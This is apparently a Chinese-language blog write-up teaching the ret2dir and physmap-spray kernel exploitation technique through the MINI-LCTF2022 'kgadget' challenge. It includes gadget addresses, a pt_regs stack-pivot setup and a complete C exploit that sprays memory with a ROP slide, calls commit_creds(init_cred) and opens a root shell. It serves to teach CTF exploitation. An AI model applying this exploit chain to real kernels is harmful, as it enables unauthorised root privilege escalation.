ret2dir & physmap spray

henry Lv4

ret2dir & physmap spray

介绍

​ ret2dir 用来绕过 smep、smap、pxn 等用户空间与内核空间隔离的防护手段

​ 论文链接:http://www.cs.columbia.edu/~vpk/papers/ret2dir.sec14.pdf

​ x86 下的 linux kernel 的内存布局,存在着一块区域叫做 direct mapping area,即内核的 线性映射区线性地直接映射了整个物理内存空间

这意味着对于一个被用户进程使用的物理页框,同时存在着一个用户空间地址与内核空间地址到该物理页框的映射,即我们利用这两个地址进行内存访问时访问的是同一个物理页框。

当开启了 SMEP、SMAP、PXN 等防护时,内核空间到用户空间的直接访问被禁止,无法直接使用类似 ret2usr 这样的攻击方式,但利用内核线性映射区对整个物理地址空间的映射,可以利用一个内核空间上的地址访问到用户空间的数据,从而绕过 SMEP、SMAP、PXN 等传统的隔绝用户空间与内核空间的防护手段

nipaste_2023-11-21_18-09-5

从上图中可以发现,如果我们在用户空间提前布置好 gadget,那么就可以通过 direct mapping area 在内核空间访问到。

但这里需要注意到一个问题就是新版内核已经不支持直接在线性映射区不在拥有可执行权限,因此我们可以考虑通过在用户空间来布置 ROP 的方继续来进行利用,内容可以见下图:

P4h5UA2svuwKb

​ 对于 ret2dir 通常的攻击手法是:

  • 利用 mmap 在用户空间大量喷射内存

  • 利用漏洞泄露出内核的“堆”上地址(通过 kmalloc 获取到的地址),这个地址直接来自于线性映射区

  • 利用泄露出的内核线性映射区的地址进行内存搜索,从而找到在用户空间喷射的内存

此时就获得了一个映射到用户空间的内核空间地址,通过这个内核空间地址便能直接访问到用户空间的数据,从而避开了传统的隔绝用户空间与内核空间的防护手段

需要注意的是往往没有内存搜索的机会,因此需要使用 mmap 喷射大量的物理内存写入同样的 payload,之后再随机挑选一个线性映射区上的地址进行利用,这样就有很大的概率命中到我们布置的 payload 上,这种攻击手法也称为 physmap spray

参考链接:https://elixir.bootlin.com/linux/v5.0/source/Documentation/x86/x86_64/mm.txt

nipaste_2023-11-22_20-01-0

​ 如上图所示,我们用mmap申请到的内存,可以在线性映射区看到,

​ 可这里有一个问题,从上图可以看到,线性映射区这里有 64TB 空间,到底去哪里找到 mmap 出来的那一页数据呢,其实这里就会使用到原论文 中的一种名为 physmap spray 的攻击手法——使用 mmap 喷射大量的物理内存写入同样的 payload,之后再随机挑选一个 direct mapping area 上的地址进行利用,这样我们就有很大的概率命中到我们布置的 payload 上

​ 在喷射的内存页数量达到一定数量级时能够比较准确的在 direct mapping area 靠中后部的区域命中恶意数据。

利用 pt_regs

首先来看看syscall 这一汇编指令,通常情况下我们在调用 syscall 前会向寄存器中提前设置好参数,然后调用 syscall 时就会通过门结构进入到内核中的 entry_SYSCALL_64 这一函数,随后通过系统调用表跳转到对应的函数。

entry_SYSCALL_64

​ 而这一函数的作用又是什么呢,当我们的程序进入内核态时,这个函数会将此时我们用户态下所有寄存器压入到内核栈上,形成一个 pt_regs 结构体。这里不用具体管 pt_regs 结构体是什么。

简单来理解就是在进入到内核态时,会将所有寄存器进行压栈,这就是利用 pt_regs 的核心,从而使得我们可以在栈中一些位置上通过提前构造寄存器中的值来设置栈中的数据。

 如下图代码所示,我们在进入内核态时,提前设置了如下寄存器
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
__asm__(
"mov r15, 0x1111111111;"
"mov r14, 0x2222222222;"
"mov r13, 0x3333333333;"
"mov r12, 0x4444444444;"
"mov rbp, 0x5555555555;"
"mov rbx, 0x6666666666;"
"mov r11, 0x7777777777;"
"mov r10, 0x8888888888;"
"mov r9, 0x9999999999;"
"mov r8, 0xaaaaaaaaaa;"
"mov rcx, 0x666666;"
"mov rdx, 8;"
"mov rsi, rsp;"
"mov rdi, fd_seq;"
"xor rax, rax;"
"syscall"
);

nipaste_2023-11-22_15-24-3

​ 上图即为进入内核态后,栈中的数据情况,可以发现我们上面代码中设置的值被复制到了栈中,因此我们就可以通过控制寄存器设置栈中的值来完成一些 ROP 操作,这就是利用 pr_regs 的核心思想。

​ 不过新版本貌似在 commit 中为系统调用栈添加了一个偏移值,这意味着 pt_regs 与触发劫持内核执行流时的栈间偏移值不再是固定值,不过在随机偏移值较小时,仍可以尝试进行利用(暂未尝试)。

例题MINI-LCTF2022 - kgadget

​ 这里想吐槽一下,在学习 kernel pwn 的过程中,网上看到的大多数博客,对于同一个问题或者技巧,大家都基本上千篇一律,而且都有一个在我看来致命的缺点(可能大佬都图省事吧),大家在做一个题目时,甚至不会给出具体的调试过程,只会进行文字性说明,或者给出一些静态分析的东西,这对我这样的新手感觉非常不友好,自从开始学习pwn,我始终秉持一个观念 ”无调无pwn“ ,调试的过程很重要,而且我认为调试才是核心,像这道题可能理论很快就学会了,但调试起来就非常花费时间(从下午调试到晚上通了),所以我自己会尽量在做每一道 kernel pwn 的过程中,展现出我认为比较重要的动调过程,希望能够对入门 kernel pwn 的师傅有用。

gadget

1
2
3
4
5
6
7
8
0xffffffff810737fe: add rsp, 0xa0; pop rbx; pop r12; pop r13; pop rbp; ret; 
0xffffffff8108c6f0: pop_rdi; ret;
0xffffffff8105b9f8: pop_rbp; ret;
0xffffffff811483d0: pop_rsp; ret;
0xffffffff8108c6f1: ret;
0xffffffff81c0129c: swapgs; nop; nop; nop; ret;
0xffffffff8103ba65: iretq; pop rbp; ret;
0xffffffff81c00fb0 + 27: swapgs_restore_regs_and_return_to_usermode

注意事项:我们一般在着陆用户态时,最后一个 gadget一定是 iretq; ret; 形如 iretq; pop rbp; ret; 这样的gadget 是不可以的。

1
2
3
4
5
6
7
8
9
10
11
12
13
/ # cat /proc/kallsyms | grep "init_cred"
ffffffff81aca130 t maybe_init_creds
ffffffff82a6b700 D init_cred
/ # cat /proc/kallsyms | grep "commit_creds"
ffffffff810c92e0 T commit_creds
ffffffff824dc650 r __ksymtab_commit_creds
ffffffff82509988 r __kstrtab_commit_creds
ffffffff8250e4a8 r __kstrtabns_commit_creds
/ # cat /proc/kallsyms | grep "prepare_kernel_cred"
ffffffff810c9540 T prepare_kernel_cred
ffffffff824e46c0 r __ksymtab_prepare_kernel_cred
ffffffff825099c8 r __kstrtab_prepare_kernel_cred
ffffffff8250e4a8 r __kstrtabns_prepare_kernel_cred

nipaste_2023-11-22_16-08-0

​ 可以通过 /proc/kallsyms 来获取内核中一些符号地址信息。

注意事项

​ 在这道题目中找不到 mov rdi, rax; 这样的 gadget,无法直接用 commit_creds(prepare_kernel_cred(NULL)) 来提权,这个函数调用能提权的原理,是最终调用了 commit_creds(init_cred),其中 init_cred 在 .data 段,表示 root 权限的 creds 结构体

热身环节

解压命令

1
2
3
4
mkdir kerpwn 
cd kerpwn
mv ../rootfs.cpio rootfs.cpio
cpio -idm < ./rootfs.cpio

打包脚本 packfile.sh

1
2
3
4
5
6
7
#!/bin/bash
gcc ./exploit.c -o exploit -g -static -masm=intel
mv exploit ./kerpwn
cd ./kerpwn
./gen_cpio.sh rootfs.cpio
mv rootfs.cpio ../
cd ../

gen_cpio.sh

1
find . | cpio -o --format=newc > $1

调试

1
cat /sys/module/kgadget/sections/.text

利用过程

检查保护

nipaste_2023-11-22_19-40-0

​ 同时,启动脚本中没有开 kalsr 保护。

漏洞点

nipaste_2023-11-22_19-39-2

​ kgadget.ko 没有实现任何功能,单纯给了一个可以控制函数指针,劫持执行流。从反编译不明显看出调用情况,再来看看汇编代码:

nipaste_2023-11-22_19-44-1

nipaste_2023-11-22_19-44-3

​ 可以发现上面把 param 也就是第三个参数赋给了 rbx,下面又通过一个 call 来调用 rbx,光这样可能还是不够清楚(内心ps:又不是 call rbx),没事主打的就是一个细节,再来看看下面的动调过程:

nipaste_2023-11-22_15-26-1

​ 从上面这里进入

nipaste_2023-11-22_15-26-4

​ 到这里,执行一个跳转继续 call,在 si 进入

nipaste_2023-11-22_15-27-2

​ 第三步就可以看到它的真面目了,字打错了应该是跳转(已经学晕了)

接下来就是漏洞利用过程了,老样子我还是会逐行解释exp构成

step 1

1
2
3
4
5
6
7
8
9
10
11
12
int main()
{
puts("[*] save userspace status");
save_status(); //store information
dev_fd = open("/dev/kgadget",O_RDWR); //open file
if(dev_fd < 0)
{
puts("[*] can't open /dev/kgadget");
exit(0);
}
...
}

​ 第一步还是保存用户态信息,然后打开文件,要注意的是与强网 core 不同的是,这里要打开的文件是在 /dev 文件中的,这个文件夹是一个设备文件夹,又由于 kgadget 这里是作为设备出现的,所以在 dev 文件下可以找到。

step 2

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
void ROPchain(size_t *rop)
{
size_t add_rsp_0xa0_pop_rbx_pop_r12_pop_r13_pop_rbp_ret = 0xffffffff810737fe;
size_t ret = 0xffffffff8108c6f1;
int i;
for( i = 0; i < (page_size/8 - 0x30); i++)
{
rop[i] = add_rsp_0xa0_pop_rbx_pop_r12_pop_r13_pop_rbp_ret;
}
for(; i < (page_size/8 - 0x10); i++)
{
rop[i] = ret;
}
rop[i++] = pop_rdi_ret;
rop[i++] = init_cred;
rop[i++] = commit_creds;
rop[i++] = swapgs_restore_regs_and_return_to_usermode;
rop[i++] = 0;
rop[i++] = 0;
rop[i++] = (size_t)get_root_privilege;
rop[i++] = user_cs;
rop[i++] = user_rflags;
rop[i++] = user_sp;
rop[i++] = user_ss;
}

int main()
{
...
page_size = sysconf(_SC_PAGESIZE);
physmap_spray_arr[0] = mmap(NULL, page_size, PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_ANONYMOUS, -1,0);
ROPchain(physmap_spray_arr[0]);
puts("[*] Spraying physmap...");
...
}

​ 这一步其实就是 kgadget 的核心内容,同时也是执行流的最后一步,从源代码可以粗略分析看出,在申请了一页大小的空间后(这里叫做page)即 physmap_spray_arr[0],我们通过 ROPchain 函数向这个page中写入了大量的 gadget。

而这个 gadget 大致是由三部分组成的

  1. add_rsp_0xa0_pop_rbx_pop_r12_pop_r13_pop_rbp_ret
  2. ret
  3. 最终提权 rop

​ 可以发现前两个比较有意思,不是 add rsp,就是ret,他们其实是都是实现一个目标,实现将 rsp 向高地址增长,那么最后这个rsp就会定位到提权 rop 了,从而完成利用。

​ 有个形象的说法,可以把这种 rop 链看做是滑梯(slide),最后总能滑到我们的payload。

注意事项:

​ 这里有一个非常重要的事情,为什么我们不直接把后面的最终提权 ROP 直接放到 page 最前面呢,何必放到最后才执行呢?这里这样做,其实与我们第四步有关系,其实就是利用 pt_regs,关于这个答案后面我会进行说明。

nipaste_2023-11-22_20-18-5

​ 上图也是将 mmap 出来的空间进行查看,可以看到我们的 gadget 已经写入到了一个 page 中,可是光有这一个 page 可不太够用,所以我们这里在申请出来足够多的空间,且每一个page的内容都是相同的,来增加命中率。

step 3

​ 紧接着上面的代码

1
2
3
4
5
6
7
8
9
10
11
puts("[*] Spraying physmap...");
for(int i=1; i < 15000; i++)
{
physmap_spray_arr[i] = mmap(NULL, page_size, PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_ANONYMOUS, -1,0);
if(!physmap_spray_arr[i])
{
puts("[*] ERROR TO MMAP MEMMORY");
exit(0);
}
memcpy(physmap_spray_arr[i],physmap_spray_arr[0],page_size);
}

​ 这里申请了 15000 个page,且让每一个page都有我们的 payload。

nipaste_2023-11-22_20-28-3

​ 我们随机看了几处地方,可以看到,大部分位置都有我们mmap喷射出来的页面。

nipaste_2023-11-22_20-34-1

​ 这里可以看到,rsp 已经指向了我们的page,开始进行 slide 了。

step 4

​ 在 step 3时,你可能观察完图后会发现,程序什么时候已经栈迁移了呢,没事这就是这一步达成目标,注意我们这里是按 exp 顺序进行分步骤讲解,实际上的 step 3 是执行流最后一步,而 step 4 是它的前一步。

​ 可以通过下面的这个板子来定位对应寄存器在栈中保存的位置。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
__asm__(
"mov r15, 0x1111111111;"
"mov r14, 0x2222222222;"
"mov r13, 0x3333333333;"
"mov r12, 0x4444444444;"
"mov rbp, 0x5555555555;"
"mov rbx, 0x6666666666;"
"mov r11, 0x7777777777;"
"mov r10, 0x8888888888;"
"mov r9, 0x9999999999;"
"mov r8, 0xaaaaaaaaaa;"
"mov rcx, 0x666666;"
"mov rdx, 8;"
"mov rsi, rsp;"
"mov rdi, fd_seq;"
"xor rax, rax;"
"syscall"
);

nipaste_2023-11-22_15-24-3

​ 前面说过关于 pt_regs 的利用,上图为进入前的栈图。

nipaste_2023-11-22_15-30-1

​ 可以发现程序在这里对栈中的数据进行了清空,而这些位置恰恰是我们要前面通过寄存器设置在栈里的值,别急,出题人友善的给我们留了两个寄存器就是 r8 和 r9,所以我们就可以通过这两个寄存器来设置 gadget 完成利用。

nipaste_2023-11-22_15-35-5

​ 从上图可以发现最后只留下了 r8 和 r9 两个寄存器中的值。

nipaste_2023-11-22_20-48-3

​ 这里我们将 r9 和 r8 分别设置为了 pop rsp,和 add rsp,0xa0,原因如下:

nipaste_2023-11-22_20-50-4

​ 将 rbx 设置为这个 gadget 的值,就可以跳转到这里,最后执行 ret 时刚好就定位到 r9 那里,然后 pop rsp,即将 r8 的值作为新的 rsp,这样就实现了栈迁移,r8的值则是我们早早已经在里面设置了上千个 gadget 的 page 的地址,至此最终就可以滑向我们最终的提权 rop 了。

nipaste_2023-11-22_20-58-0

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
// gcc exp.c -static -masm=intel -g -o exp
#define _GNU_SOURCE
#include <unistd.h>
#include <fcntl.h>
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
#include <sys/stat.h>
#include <sys/mman.h>
#include <sys/ioctl.h>

size_t user_cs, user_ss, user_sp, user_rflags;
void save_status(void)
{
__asm__(
"mov user_cs, cs;"
"mov user_ss, ss;"
"mov user_sp, rsp;"
"pushf;"
"pop user_rflags;"
);
puts("[*] successful save status");
}

void get_root_privilege(void)
{
puts("[*] back from kernelspace");
if(!getuid())
{
puts("[*] SUCCESSFUL GET ROOT by henry!");
system("/bin/sh");
}
else
{
puts("[*]FAIL TO GET ROOT");
exit(0);
}
}

size_t page_size;
size_t pop_rdi_ret = 0xffffffff8108c6f0;
size_t pop_rsp_ret = 0xffffffff811483d0;
size_t init_cred = 0xffffffff82a6b700;
size_t commit_creds = 0xffffffff810c92e0;
size_t prepare_kernel_cred = 0xffffffff810c9540;
size_t swapgs_pop_rbp_ret = 0xffffffff81bb99af;
size_t iretq = 0xffffffff8103ba65;
size_t swapgs_restore_regs_and_return_to_usermode = 0xffffffff81c00fb0 + 27;

void ROPchain(size_t *rop)
{
size_t add_rsp_0xa0_pop_rbx_pop_r12_pop_r13_pop_rbp_ret = 0xffffffff810737fe;
size_t ret = 0xffffffff8108c6f1;
int i;
for( i = 0; i < (page_size/8 - 0x30); i++)
{
rop[i] = add_rsp_0xa0_pop_rbx_pop_r12_pop_r13_pop_rbp_ret;
}
for(; i < (page_size/8 - 0x10); i++)
{
rop[i] = ret;
}
rop[i++] = pop_rdi_ret;
rop[i++] = init_cred;
rop[i++] = commit_creds;
rop[i++] = swapgs_restore_regs_and_return_to_usermode;
rop[i++] = 0;
rop[i++] = 0;
rop[i++] = (size_t)get_root_privilege;
rop[i++] = user_cs;
rop[i++] = user_rflags;
rop[i++] = user_sp;
rop[i++] = user_ss;
}

int dev_fd;
size_t direct_mapping_area;
size_t *physmap_spray_arr[16000];
int main()
{
puts("[*] save userspace status");
save_status(); //store information
dev_fd = open("/dev/kgadget",O_RDWR); //open file
if(dev_fd < 0)
{
puts("[*] can't open /dev/kgadget");
exit(0);
}
page_size = sysconf(_SC_PAGESIZE);
physmap_spray_arr[0] = mmap(NULL, page_size, PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_ANONYMOUS, -1,0);
ROPchain(physmap_spray_arr[0]);

puts("[*] Spraying physmap...");
for(int i=1; i < 15000; i++)
{
physmap_spray_arr[i] = mmap(NULL, page_size, PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_ANONYMOUS, -1,0);
if(!physmap_spray_arr[i])
{
puts("[*] ERROR TO MMAP MEMMORY");
exit(0);
}
memcpy(physmap_spray_arr[i],physmap_spray_arr[0],page_size);
}

puts("[*] begin to ROPgadget slide");
direct_mapping_area = 0xffff888000000000 + 0x7000000;
__asm__(
"mov r15, 0xbeefdead;"
"mov r14, 0x2222222222;"
"mov r13, 0x3333333333;"
"mov r12, 0x4444444444;"
"mov rbp, 0x5555555555;"
"mov rbx, 0x6666666666;"
"mov r11, 0x7777777777;"
"mov r10, 0x8888888888;"
"mov r9, pop_rsp_ret;"
"mov r8, direct_mapping_area;"
"mov rax, 0x10;"
"mov rcx, 0x666666;"
"mov rdx, direct_mapping_area;" // param <==> call rbx
"mov rsi, 0x1BF52;" // cmd == 0x1BF52
"mov rdi, dev_fd;"
"syscall"
);
}

疑问

​ 最后提权那里那个 swapgs gadget 找的方法非常新颖,暂时不清楚是怎么找到的。

  • Title: ret2dir & physmap spray
  • Author: henry
  • Created at : 2023-11-24 14:40:29
  • Updated at : 2023-11-24 15:35:12
  • Link: https://henrymartin262.github.io/2023/11/24/ret2dir/
  • License: This work is licensed under CC BY-NC-SA 4.0.
 Comments